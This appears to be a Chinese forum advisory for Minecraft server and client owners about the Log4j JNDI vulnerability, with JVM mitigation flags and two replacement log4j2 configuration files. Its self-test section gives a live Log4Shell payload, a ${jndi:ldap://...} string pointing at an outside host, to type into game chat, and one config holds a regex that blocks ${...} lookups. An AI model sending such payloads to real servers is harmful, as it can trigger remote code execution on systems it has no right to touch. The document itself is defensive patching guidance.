情况简述
昨日,Apache Log4j爆出重大漏洞,攻击者只要使目标系统产生特定的日志即可实现代码注入,即:使目标系统执行指定代码。
Minecraft服务器端,包括Forge、官方端等服务端,以及非官方的或旧版的客户端全线受到影响。
详细信息以及具体的修复方式,参见:https://www.mcbbs.net/thread-1283097-1-1.html
漏洞自查
要检查自己的服务端/客户端是否受到影响,请进入游戏,从客户端向服务端发送以下聊天信息(尽量把这里面的网址随便改改,小心瞎猫撞上死耗子):
${jndi:ldap://miaomiaomiao.com/dsadasdadweqddfdczxcxcawdeqqfwsefs}
如果你的客户端崩溃了,恭喜你,你的客户端受到影响
如果你的服务端崩溃了,恭喜你,你的服务端受到影响
对于没有修复的客户端、服务端,大概率两者一起崩溃
漏洞自纠
请分别对服务端、客户端作以下修改,修改后请按【漏洞自查】中的思路验证漏洞是否仍然存在
服务端
对于1.7-1.11.2的Minecraft版本,在java虚拟机启动参数中添加:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_17-111.xml
并将文末所附的log4j2_17-111.xml放到服务端所在的文件夹中
对于1.12-1.16.5的Minecraft版本,在java虚拟机启动参数中添加:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true -Dlog4j.configurationFile=log4j2_112-116.xml
并将文末所附的log4j2_112-116.xml放到服务端所在的文件夹中
对于1.17的Minecraft版本,在java虚拟机启动参数中添加:
-Dlog4j2.formatMsgNoLookups=true
对于1.18的Minecraft版本,请升级到1.18.1或遵循1.17的修复方法
客户端
以我自己的经验来说,以HMCL为例,在全局版本设置中,将Java虚拟机参数修改为:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j.formatMsgNoLookups=true
即可(与服务器修复方法基本相同)
如果这些不行的话,请尝试服务器修复方法中的其他参数
log4j2_17-111.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" packages="com.mojang.util">
<Appenders>
<Console name="SysOut" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />
</Console>
<Queue name="ServerGuiConsole">
<PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg%n" />
</Queue>
<RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg%n" />
<Policies>
<TimeBasedTriggeringPolicy />
<OnStartupTriggeringPolicy />
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="info">
<filters>
<MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />
<RegexFilter regex=".*\$\{[^}]*\}.*" onMatch="DENY" onMismatch="NEUTRAL"/>
</filters>
<AppenderRef ref="SysOut"/>
<AppenderRef ref="File"/>
<AppenderRef ref="ServerGuiConsole"/>
</Root>
</Loggers>
</Configuration>
log4j2_112-116.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="SysOut" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />
</Console>
<Queue name="ServerGuiConsole">
<PatternLayout pattern="[%d{HH:mm:ss} %level]: %msg{nolookups}%n" />
</Queue>
<RollingRandomAccessFile name="File" fileName="logs/latest.log" filePattern="logs/%d{yyyy-MM-dd}-%i.log.gz">
<PatternLayout pattern="[%d{HH:mm:ss}] [%t/%level]: %msg{nolookups}%n" />
<Policies>
<TimeBasedTriggeringPolicy />
<OnStartupTriggeringPolicy />
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="info">
<filters>
<MarkerFilter marker="NETWORK_PACKETS" onMatch="DENY" onMismatch="NEUTRAL" />
</filters>
<AppenderRef ref="SysOut"/>
<AppenderRef ref="File"/>
<AppenderRef ref="ServerGuiConsole"/>
</Root>
</Loggers>
</Configuration>